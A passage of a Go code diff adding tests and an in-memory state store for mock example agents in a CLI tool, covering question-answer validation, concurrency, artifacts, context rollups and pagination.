+		if done.Messages[i].Role == "agent" && len(done.Messages[i].Parts) > 0 {
+			acceptReply = done.Messages[i].Parts[0].Text
+			break
+		}
+	}
+	if !strings.Contains(acceptReply, "按大区") || !strings.Contains(acceptReply, "2024 全年") {
+		t.Errorf("acceptance reply should resolve option ids to labels and echo text answers, got %q", acceptReply)
+	}
+
+	// Second submission (another endpoint / a retry whose first attempt landed):
+	// failed_precondition + resolved_answers echoing what won.
+	_, err = plannerSend(ctx, rt, agents.SendInput{
+		ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: plannerAnswers(ir),
+	})
+	if err == nil {
+		t.Fatal("re-answering a resolved group should fail")
+	}
+	if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeFailedPrecondition {
+		t.Fatalf("re-answer should be failed_precondition, got %+v (%v)", p, err)
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) || verr.ResolvedAnswers == nil {
+		t.Fatalf("re-answer must carry resolved_answers (who won), got %+v", verr)
+	}
+	if v := verr.ResolvedAnswers[ir.Questions[0].QuestionID]; len(v) != 1 || v[0] != "by_region" {
+		t.Errorf("resolved_answers should echo the accepted set, got %v", verr.ResolvedAnswers)
+	}
+}
+
+// TestPlannerCollectAllValidation pins the strict-posture server validation in
+// one submission: an unknown key (stale retry), a bad option, a skip+value
+// conflict, and a missing question are ALL reported in one invalid_argument
+// whose params[] carry the Reason enum and the question declaration — and the
+// rejected submission changes nothing.
+func TestPlannerCollectAllValidation(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "planner"}
+	ctx := context.Background()
+	t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	ir := t1.InputRequired
+	_, err = plannerSend(ctx, rt, agents.SendInput{
+		ContextID: t1.ContextID, TaskID: t1.TaskID,
+		Answers: map[string][]string{
+			"q1_stale":                 {"by_region"},    // 陈旧/拼错键 → unknown_question
+			ir.Questions[0].QuestionID: {"nonexistent"},  // 非法选项 → invalid_option
+			ir.Questions[2].QuestionID: {"east", "skip"}, // skip 与实值互斥 → conflict
+			// Questions[1] 未答 → missing
+		},
+	})
+	if err == nil {
+		t.Fatal("a violating submission should error")
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("want invalid_argument, got %+v (%v)", p, err)
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) {
+		t.Fatal(err)
+	}
+	reasons := map[string]string{}
+	for _, ip := range verr.Params {
+		reasons[ip.Reason] = ip.Name
+	}
+	for _, want := range []string{"unknown_question", "invalid_option", "conflict", "missing"} {
+		if _, hit := reasons[want]; !hit {
+			t.Errorf("collect-all params should include reason %q, got %v", want, verr.Params)
+		}
+	}
+	if !strings.Contains(p.Hint, "整组重发") {
+		t.Errorf("hint must state the full-group resend rule, got %q", p.Hint)
+	}
+
+	got, err := getTask(ctx, rt, t1.TaskID)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got.State != agents.StateInputRequired {
+		t.Errorf("a rejected submission must change nothing, got state=%s", got.State)
+	}
+}
+
+// TestPlannerBareTextNoSiblingFork pins the §6.5 rule: a bare --text aimed at
+// the paused task is rejected with guidance toward --answer — it must NOT fork
+// a sibling task (the pre-v0.3 behavior this replaces).
+func TestPlannerBareTextNoSiblingFork(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "planner"}
+	ctx := context.Background()
+	t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	_, err = plannerSend(ctx, rt, agents.SendInput{
+		ContextID: t1.ContextID, TaskID: t1.TaskID, Text: "按大区吧",
+	})
+	if err == nil {
+		t.Fatal("bare --text at a paused select-question group should be rejected")
+	}
+	if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeInvalidArgument || !strings.Contains(p.Hint, "--answer") {
+		t.Fatalf("rejection should guide to --answer, got %+v (%v)", p, err)
+	}
+	// No sibling task was created: the context still holds exactly one task.
+	tasks, _, err := listTasks(ctx, rt, t1.ContextID, agents.PageParams{})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(tasks) != 1 {
+		t.Fatalf("bare --text must not fork a sibling task, got %d tasks", len(tasks))
+	}
+}
+
+// TestNewTurnRejectsAnswers pins the no-silent-drop bottom line on born-terminal
+// agents: reporter passes the CLI's input_required capability gate, so its hook
+// must reject --answer loudly instead of consuming it as a plain turn.
+func TestNewTurnRejectsAnswers(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "reporter"}
+	_, err := reporterSend(context.Background(), rt, agents.SendInput{
+		Answers: map[string][]string{"q1": {"x"}},
+	})
+	if err == nil {
+		t.Fatal("answers at a born-terminal agent should be rejected, not dropped")
+	}
+	if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeFailedPrecondition {
+		t.Fatalf("want failed_precondition, got %+v (%v)", p, err)
+	}
+}
+
+// TestReporterParamsBinding locks the declaration↔consumption contract: the
+// reporterSendParams struct tags must reference params declared on send with
+// compatible kinds (a renamed/retyped declaration fails here in CI, not as a
+// silent zero value at runtime).
+func TestReporterParamsBinding(t *testing.T) {
+	agenttest.CheckParamsBinding[reporterSendParams](t, &reporterSpec, agents.VerbSend)
+}
+
+// TestReporterConsumesParams drives reporterSend with framework-style resolved
+// params (defaults backfilled) and pins that BindParams feeds the reply: the
+// default shape keeps the historical reply, a non-default format changes it.
+func TestReporterConsumesParams(t *testing.T) {
+	swapStore(t)
+	ctx := context.Background()
+
+	// defaults → historical reply, byte-identical
+	rt := fakeRuntime{agentID: "reporter", params: map[string]string{"report_format": "csv", "quarters": "4"}}
+	task, err := reporterSend(ctx, rt, agents.SendInput{Text: "报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got := agentReply(t, task); !strings.HasPrefix(got, "报表已生成：quarterly_report.csv") {
+		t.Fatalf("default params should keep the historical reply, got %q", got)
+	}
+
+	// non-default format → the reply reflects the params
+	rt2 := fakeRuntime{agentID: "reporter", params: map[string]string{"report_format": "xlsx", "quarters": "6"}}
+	task2, err := reporterSend(ctx, rt2, agents.SendInput{Text: "报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got := agentReply(t, task2); !strings.Contains(got, "xlsx") || !strings.Contains(got, "6 个季度") {
+		t.Fatalf("params should feed the reply, got %q", got)
+	}
+}
+
+// TestReporterRenderObject drives the object param end to end on the reference
+// provider: framework-style resolved leaves reach the hook, the nested struct
+// binds, and the reply reflects them.
+func TestReporterRenderObject(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "reporter", params: map[string]string{
+		"report_format": "csv", "quarters": "4",
+		"render.theme": "dark", "render.watermark": "true",
+	}}
+	task, err := reporterSend(context.Background(), rt, agents.SendInput{Text: "报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got := agentReply(t, task); !strings.Contains(got, "dark 主题，含水印") {
+		t.Fatalf("render object should feed the reply, got %q", got)
+	}
+}
+
+// TestReporterArtifactFlow verifies the full artifact chain.
+func TestReporterArtifactFlow(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "reporter"}
+	ctx := context.Background()
+
+	task, err := reporterSend(ctx, rt, agents.SendInput{Text: "本季度报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(task.Artifacts) != 1 {
+		t.Fatalf("reporter should produce 1 artifact, got %+v", task.Artifacts)
+	}
+	art := task.Artifacts[0]
+	if art.ID == "" || art.Kind != "text" {
+		t.Fatalf("artifact should carry ID + Kind=text, got %+v", art)
+	}
+
+	data, err := downloadArtifact(ctx, rt, task.TaskID, art.ID)
+	if err != nil {
+		t.Fatalf("downloadArtifact: %v", err)
+	}
+	if data.Name != "quarterly_report.csv" || data.Mime != "text/csv" {
+		t.Errorf("suggested_name/mime wrong: %+v", data)
+	}
+	if !strings.HasPrefix(string(data.Bytes), "quarter,revenue") {
+		t.Errorf("should return inline CSV bytes, got %q", string(data.Bytes))
+	}
+
+	if _, err := downloadArtifact(ctx, rt, task.TaskID, "art_nope"); err == nil {
+		t.Fatal("unknown artifact id should return an error")
+	} else if _, ok := errs.ProblemOf(err); !ok {
+		t.Fatalf("unknown artifact id should be a typed error, got %T: %v", err, err)
+	}
+}
+
+// TestReporterCancelTerminal verifies reporter's cancel returns failed_precondition
+// for a terminal task (the mock task is completed the moment it is sent).
+func TestReporterCancelTerminal(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "reporter"}
+	ctx := context.Background()
+	task, err := reporterSend(ctx, rt, agents.SendInput{Text: "报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	err = cancelTask(ctx, rt, task.TaskID)
+	if err == nil {
+		t.Fatal("canceling a terminal task should return an error")
+	}
+	prob, ok := errs.ProblemOf(err)
+	if !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
+		t.Fatalf("terminal cancel should be failed_precondition, got %v", err)
+	}
+}
+
+// TestUnknownCatalogID verifies an unknown catalog id is a typed error from the
+// framework's LookupSpec (with a hint pointing to agents list example).
+func TestUnknownCatalogID(t *testing.T) {
+	_, _, _, err := agents.LookupSpec("example:nonexistent")
+	if err == nil {
+		t.Fatal("an unknown catalog id should return an error")
+	}
+	prob, ok := errs.ProblemOf(err)
+	if !ok || prob.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("unknown catalog id should be an invalid_argument typed error, got %v", err)
+	}
+}
+
+// TestSendGuards pins send's two typed rejections: --task-id follow-up and an
+// unknown context id.
+func TestSendGuards(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "echo"}
+	ctx := context.Background()
+
+	_, err := echoSend(ctx, rt, agents.SendInput{Text: "hi", ContextID: "ctx_x", TaskID: "task_x"})
+	if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
+		t.Fatalf("--task-id follow-up should be failed_precondition, got %v", err)
+	}
+
+	_, err = echoSend(ctx, rt, agents.SendInput{Text: "hi", ContextID: "ctx_missing"})
+	if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("unknown context id should be invalid_argument, got %v", err)
+	}
+}
+
+// TestDeleteContext verifies deleting a context also cleans up its tasks.
+func TestDeleteContext(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "echo"}
+	ctx := context.Background()
+	task, err := echoSend(ctx, rt, agents.SendInput{Text: "bye"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := deleteContext(ctx, rt, task.ContextID); err != nil {
+		t.Fatal(err)
+	}
+	if _, err := getTask(ctx, rt, task.TaskID); err == nil {
+		t.Fatal("after deleting the context its tasks should be unqueryable")
+	}
+	ctxs, _, err := listContexts(ctx, rt, agents.PageParams{})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(ctxs) != 0 {
+		t.Fatalf("no contexts should remain after deletion, got %+v", ctxs)
+	}
+}
+
+// TestContextRollupPicksLatestUpdated pins the enriched-summary rollup rule: the
+// active_task is the task with the LATEST updated_at (not the last created), the
+// rollup counts tasks and flags awaiting_input, and an input_required active
+// task's summary is its pending prompt. It seeds the store directly with
+// out-of-creation-order timestamps so "latest updated_at wins" is tested
+// independently of insertion order.
+func TestContextRollupPicksLatestUpdated(t *testing.T) {
+	swapStore(t)
+	store.loaded = true // seed in-memory directly; skip the (missing) snapshot load
+	store.Contexts["ctx_1"] = &contextRecord{
+		AgentID: "echo", ContextID: "ctx_1", CreatedAt: "2026-07-01T00:00:00Z",
+		Seq: 1, TaskIDs: []string{"t_a", "t_b", "t_c"},
+	}
+	store.Tasks["t_a"] = &taskRecord{AgentID: "echo", Seq: 2, Task: agents.AgentTask{
+		TaskID: "t_a", ContextID: "ctx_1", State: agents.StateCompleted, IsTerminal: true,
+		UpdatedAt: "2026-07-03T00:00:00Z", Messages: agentMessage("A 完成"),
+	}}
+	// t_b has the LATEST updated_at yet is created before t_c, and is input_required.
+	store.Tasks["t_b"] = &taskRecord{AgentID: "echo", Seq: 3, Task: agents.AgentTask{
+		TaskID: "t_b", ContextID: "ctx_1", State: agents.StateInputRequired,
+		UpdatedAt: "2026-07-05T00:00:00Z", InputRequired: &agents.InputRequired{Questions: []agents.Question{{QuestionID: "q1_x", Question: "按大区还是品类拆?"}}},
+	}}
+	store.Tasks["t_c"] = &taskRecord{AgentID: "echo", Seq: 4, Task: agents.AgentTask{
+		TaskID: "t_c", ContextID: "ctx_1", State: agents.StateCompleted, IsTerminal: true,
+		UpdatedAt: "2026-07-04T00:00:00Z", Messages: agentMessage("C 完成"),
+	}}
+
+	rt := fakeRuntime{agentID: "echo"}
+	detail, err := getContext(context.Background(), rt, "ctx_1")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if detail.TaskCount == nil || *detail.TaskCount != 3 {
+		t.Errorf("task_count should be 3, got %+v", detail)
+	}
+	if !detail.AwaitingInput {
+		t.Error("awaiting_input should be true (t_b is input_required)")
+	}
+	if detail.ActiveTask == nil || detail.ActiveTask.TaskID != "t_b" {
+		t.Fatalf("active_task should be t_b (latest updated_at), not the last-created task, got %+v", detail.ActiveTask)
+	}
+	if detail.ActiveTask.Summary != "按大区还是品类拆?" {
+		t.Errorf("an input_required active task's summary should be its pending prompt, got %q", detail.ActiveTask.Summary)
+	}
+	if detail.UpdatedAt != "2026-07-05T00:00:00Z" {
+		t.Errorf("context updated_at should roll up to the latest task, got %q", detail.UpdatedAt)
+	}
+
+	// context list carries the same rollup.
+	ctxs, _, err := listContexts(context.Background(), rt, agents.PageParams{})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(ctxs) != 1 {
+		t.Fatalf("expected 1 context, got %d", len(ctxs))
+	}
+	if ctxs[0].UpdatedAt != "2026-07-05T00:00:00Z" || !ctxs[0].AwaitingInput {
+		t.Errorf("context summary rollup wrong: %+v", ctxs[0])
+	}
+}
+
+// TestTaskSummaryText pins the digest rule: rune-safe truncation to ~100 runes,
+// and that an input_required task prefers its pending prompt over the last agent
+// message.
+func TestTaskSummaryText(t *testing.T) {
+	long := strings.Repeat("字", 250)
+	got := taskSummaryText(agents.AgentTask{Messages: agentMessage(long)})
+	if n := len([]rune(got)); n != summaryMaxRunes {
+		t.Errorf("summary should be rune-truncated to %d runes, got %d", summaryMaxRunes, n)
+	}
+	prompt := taskSummaryText(agents.AgentTask{
+		State:         agents.StateInputRequired,
+		InputRequired: &agents.InputRequired{Questions: []agents.Question{{QuestionID: "q1_x", Question: "补充预算区间?"}}},
+		Messages:      agentMessage("忽略我"),
+	})
+	if prompt != "补充预算区间?" {
+		t.Errorf("input_required summary should be the pending question, got %q", prompt)
+	}
+	multi := taskSummaryText(agents.AgentTask{
+		State: agents.StateInputRequired,
+		InputRequired: &agents.InputRequired{Label: "报表生成确认",
+			Questions: []agents.Question{{QuestionID: "q1_x", Question: "a?"}, {QuestionID: "q2_x", Question: "b?"}}},
+	})
+	if multi != "报表生成确认（共 2 题）" {
+		t.Errorf("multi-question summary should be label + count, got %q", multi)
+	}
+}
+
+// agentMessage builds a single agent-role text message for seeding task fixtures.
+func agentMessage(text string) []agents.Message {
+	return []agents.Message{{Role: "agent", Parts: []agents.Part{{Type: "text", Text: text}}}}
+}
+
+// agentReply returns the first text reply from the agent role in the task.
+func agentReply(t *testing.T, task *agents.AgentTask) string {
+	t.Helper()
+	for _, m := range task.Messages {
+		if m.Role != "agent" {
+			continue
+		}
+		for _, part := range m.Parts {
+			if part.Type == "text" {
+				return part.Text
+			}
+		}
+	}
+	t.Fatalf("task is missing an agent text reply: %+v", task.Messages)
+	return ""
+}
+
+// TestListTasksPagination pins the offset-cursor pagination of the store's
+// listTasks: seed 5 tasks in one context, walk them 2 at a time, and assert the
+// HasMore / NextToken contract plus no cross-page overlap. Ordering is
+// most-recent-first (Seq descending).
+func TestListTasksPagination(t *testing.T) {
+	swapStore(t)
+	ctx := context.Background()
+	rt := fakeRuntime{agentID: "echo"}
+	first, err := echoSend(ctx, rt, agents.SendInput{Text: "m0"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	ctxID := first.ContextID
+	for _, text := range []string{"m1", "m2", "m3", "m4"} {
+		if _, err := echoSend(ctx, rt, agents.SendInput{Text: text, ContextID: ctxID}); err != nil {
+			t.Fatal(err)
+		}
+	}
+
+	p1, info1 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2})
+	if len(p1) != 2 {
+		t.Fatalf("page 1 should have 2 tasks, got %d", len(p1))
+	}
+	if !info1.HasMore || info1.NextToken == "" {
+		t.Fatalf("page 1 should report more pages with a cursor, got %+v", info1)
+	}
+
+	p2, info2 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2, Token: info1.NextToken})
+	if len(p2) != 2 {
+		t.Fatalf("page 2 should have 2 tasks, got %d", len(p2))
+	}
+	if !info2.HasMore || info2.NextToken == "" {
+		t.Fatalf("page 2 should report more pages with a cursor, got %+v", info2)
+	}
+	seen := map[string]bool{p1[0].TaskID: true, p1[1].TaskID: true}
+	if seen[p2[0].TaskID] || seen[p2[1].TaskID] {
+		t.Errorf("page 2 must not overlap page 1: p1=%v p2=%v", p1, p2)
+	}
+
+	p3, info3 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2, Token: info2.NextToken})
+	if len(p3) != 1 {
+		t.Fatalf("page 3 (final) should have the last 1 task, got %d", len(p3))
+	}
+	if info3.HasMore || info3.NextToken != "" {
+		t.Fatalf("page 3 is the last page: HasMore=false, NextToken empty, got %+v", info3)
+	}
+}
+
+// TestListTasksPaginationExactBoundary pins the no-phantom-page contract when the
+// total is an exact multiple of the page size: 4 tasks at size 2 yield a full
+// first page (HasMore=true, NextToken="2") and a full SECOND page that is also
+// the last (HasMore=false, NextToken=""), never a spurious empty page 3.
+func TestListTasksPaginationExactBoundary(t *testing.T) {
+	swapStore(t)
+	ctx := context.Background()
+	rt := fakeRuntime{agentID: "echo"}
+	first, err := echoSend(ctx, rt, agents.SendInput{Text: "m0"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	ctxID := first.ContextID
+	for _, text := range []string{"m1", "m2", "m3"} {
+		if _, err := echoSend(ctx, rt, agents.SendInput{Text: text, ContextID: ctxID}); err != nil {
+			t.Fatal(err)
+		}
+	}
+
+	p1, info1 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2})
+	if len(p1) != 2 {
+		t.Fatalf("page 1 should have 2 tasks, got %d", len(p1))
+	}
+	if !info1.HasMore || info1.NextToken != "2" {
+		t.Fatalf("page 1 should report more pages with NextToken \"2\", got %+v", info1)
+	}
+
+	p2, info2 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2, Token: "2"})
+	if len(p2) != 2 {
+		t.Fatalf("page 2 (final) should have the last 2 tasks, got %d", len(p2))
+	}
+	if info2.HasMore || info2.NextToken != "" {
+		t.Fatalf("page 2 is the last page (no phantom empty page 3): HasMore=false, NextToken empty, got %+v", info2)
+	}
+}
+
+// TestListContextsPagination pins the same offset-cursor contract for the store's
+// listContexts: 3 contexts, page-size 2 → first page of 2 with more, then a final
+// page of 1 with no more.
+func TestListContextsPagination(t *testing.T) {
+	swapStore(t)
+	ctx := context.Background()
+	rt := fakeRuntime{agentID: "echo"}
+	for _, text := range []string{"c0", "c1", "c2"} {
+		if _, err := echoSend(ctx, rt, agents.SendInput{Text: text}); err != nil { // no ContextID ⇒ new context each time
+			t.Fatal(err)
+		}
+	}
+
+	p1, info1 := store.listContexts("echo", agents.PageParams{Size: 2})
+	if len(p1) != 2 {
+		t.Fatalf("page 1 should have 2 contexts, got %d", len(p1))
+	}
+	if !info1.HasMore || info1.NextToken == "" {
+		t.Fatalf("page 1 should report more pages with a cursor, got %+v", info1)
+	}
+
+	p2, info2 := store.listContexts("echo", agents.PageParams{Size: 2, Token: info1.NextToken})
+	if len(p2) != 1 {
+		t.Fatalf("page 2 (final) should have the last 1 context, got %d", len(p2))
+	}
+	if info2.HasMore || info2.NextToken != "" {
+		t.Fatalf("page 2 is the last page: HasMore=false, NextToken empty, got %+v", info2)
+	}
+	if p1[0].ContextID == p2[0].ContextID || p1[1].ContextID == p2[0].ContextID {
+		t.Errorf("page 2 must not overlap page 1: p1=%v p2=%v", p1, p2)
+	}
+}
+
+// TestPlannerCountAndAliasRules pins the remaining §4.2/§6.3 value rules the
+// main flow doesn't reach: count_violation on both branches (single-select
+// with two picks; text question with two bare values), the bare-value alias on
+// a text question (MUST be accepted as .text), and the .text supplement on a
+// single-select never counting toward cardinality.
+func TestPlannerCountAndAliasRules(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "planner"}
+	ctx := context.Background()
+	t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	ir := t1.InputRequired
+	q1, q2, q3 := ir.Questions[0].QuestionID, ir.Questions[1].QuestionID, ir.Questions[2].QuestionID
+
+	// count_violation: two picks on the single-select, two bare texts on the
+	// text question.
+	_, err = plannerSend(ctx, rt, agents.SendInput{
+		ContextID: t1.ContextID, TaskID: t1.TaskID,
+		Answers: map[string][]string{
+			q1: {"by_region", "by_category"},
+			q2: {"a", "b"},
+			q3: {"east"},
+		},
+	})
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) {
+		t.Fatal(err)
+	}
+	counts := 0
+	for _, ip := range verr.Params {
+		if ip.Reason == "count_violation" {
+			counts++
+		}
+	}
+	if counts != 2 {
+		t.Fatalf("both count_violation branches should fire, got %+v", verr.Params)
+	}
+
+	// Accept path: bare-value alias on the text question + .text supplement on
+	// the single-select (never counted toward cardinality).
+	done, err := plannerSend(ctx, rt, agents.SendInput{
+		ContextID: t1.ContextID, TaskID: t1.TaskID,
+		Answers: map[string][]string{
+			q1:           {"by_region"},
+			q1 + ".text": {"海外先不算"},
+			q2:           {"2024 全年"}, // bare alias of .text
+			q3:           {"east"},
+		},
+	})
+	if err != nil {
+		t.Fatalf("alias + supplement must be accepted: %v", err)
+	}
+	if done.State != agents.StateCompleted {
+		t.Fatalf("got %s", done.State)
+	}
+}
+
+// TestPlannerGroupSurvivesReload pins the §6.2 conformance promise: keys are
+// minted at creation and persist — a FRESH store instance (new process) replays
+// identical question ids, and answering with those ids still routes.
+func TestPlannerGroupSurvivesReload(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "planner"}
+	ctx := context.Background()
+	t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	ids := []string{t1.InputRequired.Questions[0].QuestionID, t1.InputRequired.Questions[1].QuestionID, t1.InputRequired.Questions[2].QuestionID}
+
+	store = newMemoryStore(store.path) // simulate a fresh CLI process
+	got, err := getTask(ctx, rt, t1.TaskID)
+	if err != nil {
+		t.Fatal(err)
+	}
+	for i, q := range got.InputRequired.Questions {
+		if q.QuestionID != ids[i] {
+			t.Fatalf("question ids must be identical across processes (render-time minting is non-conforming): %v vs %v", q.QuestionID, ids[i])
+		}
+	}
+	if _, err := plannerSend(ctx, rt, agents.SendInput{
+		ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: plannerAnswers(got.InputRequired),
+	}); err != nil {
+		t.Fatalf("answering with reloaded ids must route: %v", err)
+	}
+}
+
+// TestPlannerConcurrentAnswers pins §6.7 atomicity: two racing submissions get
+// exactly one winner; the loser sees failed_precondition with resolved_answers
+// equal to the winner's set.
+func TestPlannerConcurrentAnswers(t *testing.T) {
+	swapStore(t)
+	rt := fakeRuntime{agentID: "planner"}
+	ctx := context.Background()
+	t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	answers := plannerAnswers(t1.InputRequired)
+	errsCh := make(chan error, 2)
+	for i := 0; i < 2; i++ {
+		go func() {
+			_, err := plannerSend(ctx, rt, agents.SendInput{
+				ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: answers,
+			})
+			errsCh <- err
+		}()
+	}
+	e1, e2 := <-errsCh, <-errsCh
+	if (e1 == nil) == (e2 == nil) {
+		t.Fatalf("exactly one submission must win, got %v / %v", e1, e2)
+	}
+	loser := e1
+	if loser == nil {
+		loser = e2
+	}
+	var verr *errs.ValidationError
+	if !errors.As(loser, &verr) || verr.ResolvedAnswers == nil {
+		t.Fatalf("loser must get failed_precondition with resolved_answers, got %v", loser)
+	}
+}

agents/example/state.go

@@ -0,0 +1,679 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package example
+
+import (
+	"crypto/rand"
+	"encoding/hex"
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"sort"
+	"strconv"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/vfs"
+)
+
+// ============================================================================
+// In-memory state machine (teaching focus: concurrency safety of package-level
+// state + the CLI process boundary)
+//
+// A real provider's context/task state lives on the server, so the adapter is
+// naturally stateless; example is a pure mock and must manage state itself. Two
+// disciplines the integrator needs to know:
+//
+//  1. Concurrency safety: package-level mutable state must be locked. A single
+//     coarse-grained Mutex covers all reads and writes here — the mock does not
+//     chase throughput; correctness comes first.
+//  2. CLI process boundary: every lark-cli command is a fresh process, so a pure
+//     in-memory map does not survive a single command — after `send`, a
+//     `task get` would find nothing. So a lazy JSON snapshot layer sits beneath
+//     the in-memory map (under os.TempDir, last-writer-wins) to make the offline
+//     demo chain work across commands. A real provider neither needs nor should
+//     have this layer — it is a mock-only demo device.
+//
+// Note that the snapshot is loaded lazily (only on the first real read/write of
+// state): provider registration is a pure declarative Register(Provider) call
+// (see agent/register.go) with no construction and no side effects, so nothing
+// touches store at registration time — the snapshot is read on the first hook
+// invocation, not at init.
+// ============================================================================
+
+// taskRecord is a task's storage form: a full AgentTask snapshot + owning agent
+// + creation sequence number (list output sorts by creation order to guarantee
+// stable enumeration).
+type taskRecord struct {
+	AgentID string           `json:"agent_id"`
+	Seq     int              `json:"seq"`
+	Task    agents.AgentTask `json:"task"`
+	// Accepted is the acceptance record of the task's question group (§10.1 key
+	// encoding), written atomically with the state transition: it is what a
+	// late/second submission gets echoed back as resolved_answers — the
+	// machine-readable "who won" signal.
+	Accepted map[string][]string `json:"accepted,omitempty"`
+}
+
+// contextRecord is a multi-turn context's storage form. TaskIDs is appended in
+// creation order — len(TaskIDs)+1 is the next round number, which echo uses to
+// demonstrate "context memory".
+type contextRecord struct {
+	AgentID   string   `json:"agent_id"`
+	ContextID string   `json:"context_id"`
+	CreatedAt string   `json:"created_at"`
+	Title     string   `json:"title,omitempty"`
+	Seq       int      `json:"seq"`
+	TaskIDs   []string `json:"task_ids"`
+}
+
+// memoryStore is the package-level state machine itself: mu covers all fields;
+// path is the JSON snapshot location; loaded ensures the snapshot is read only
+// once, on first access.
+type memoryStore struct {
+	mu     sync.Mutex
+	path   string
+	loaded bool
+
+	Contexts map[string]*contextRecord `json:"contexts"`
+	Tasks    map[string]*taskRecord    `json:"tasks"`
+	NextSeq  int                       `json:"next_seq"`
+}
+
+// store is the package-level singleton. Tests use swapStoreForTest to replace it
+// with an instance pointing at t.TempDir, avoiding cross-contamination between
+// tests and between tests and the local demo state.
+var store = newMemoryStore(filepath.Join(os.TempDir(), "lark-cli-example-agents.json"))
+
+func newMemoryStore(path string) *memoryStore {
+	return &memoryStore{
+		path:     path,
+		Contexts: map[string]*contextRecord{},
+		Tasks:    map[string]*taskRecord{},
+	}
+}
+
+// loadLocked lazily reads in the snapshot (the caller must already hold the
+// lock). A missing / corrupt snapshot is uniformly treated as empty state — the
+// mock's demo data is not worth erroring over, so it just starts fresh.
+func (s *memoryStore) loadLocked() {
+	if s.loaded {
+		return
+	}
+	s.loaded = true
+	data, err := vfs.ReadFile(s.path)
+	if err != nil {
+		return
+	}
+	var snap memoryStore
+	if json.Unmarshal(data, &snap) != nil {
+		return
+	}
+	if snap.Contexts != nil {
+		s.Contexts = snap.Contexts
+	}
+	if snap.Tasks != nil {
+		s.Tasks = snap.Tasks
+	}
+	s.NextSeq = snap.NextSeq
+}
+
+// saveLocked writes the current state back to the snapshot (the caller must
+// already hold the lock). A write failure returns a typed internal error
+// (storage subtype) — the mock does not swallow errors either: silently losing
+// state would make the next command report "task not found", which is harder to
+// diagnose than a clear error.
+func (s *memoryStore) saveLocked() error {
+	data, err := json.MarshalIndent(s, "", "  ")
+	if err != nil {
+		return errs.NewInternalError(errs.SubtypeStorage, "序列化 example 状态失败: %v", err).WithCause(err)
+	}
+	if err := vfs.WriteFile(s.path, data, 0o600); err != nil {
+		return errs.NewInternalError(errs.SubtypeStorage, "写 example 状态快照失败: %v", err).WithCause(err)
+	}
+	return nil
+}
+
+// newID generates a random id that is safe for [A-Za-z0-9_-]. The character set
+// deliberately aligns with the command layer's meta.next interpolation
+// allowlist (cmd/agent/send.go safeNextID): the id is spliced into a command
+// string "the AI copies and runs", and an id with shell metacharacters would
+// cause the whole hint to be suppressed.
+func newID(prefix string) string {
+	var b [6]byte
+	if _, err := rand.Read(b[:]); err != nil {
+		// crypto/rand being unavailable is an environment-level failure; the mock
+		// degrades to a timestamp that still satisfies the character set.
+		return prefix + "_" + time.Now().UTC().Format("20060102150405")
+	}
+	return prefix + "_" + hex.EncodeToString(b[:])
+}
+
+// newGroupSuffix mints the per-group question-id suffix (4 hex chars,
+// key-safe): random at GROUP-CREATION time — the randomness is what makes a
+// successor group's minted ids necessarily differ (§6.2 cross-group
+// uniqueness), which in turn is what makes a stale retry hit unknown_question
+// instead of silently answering the next group.
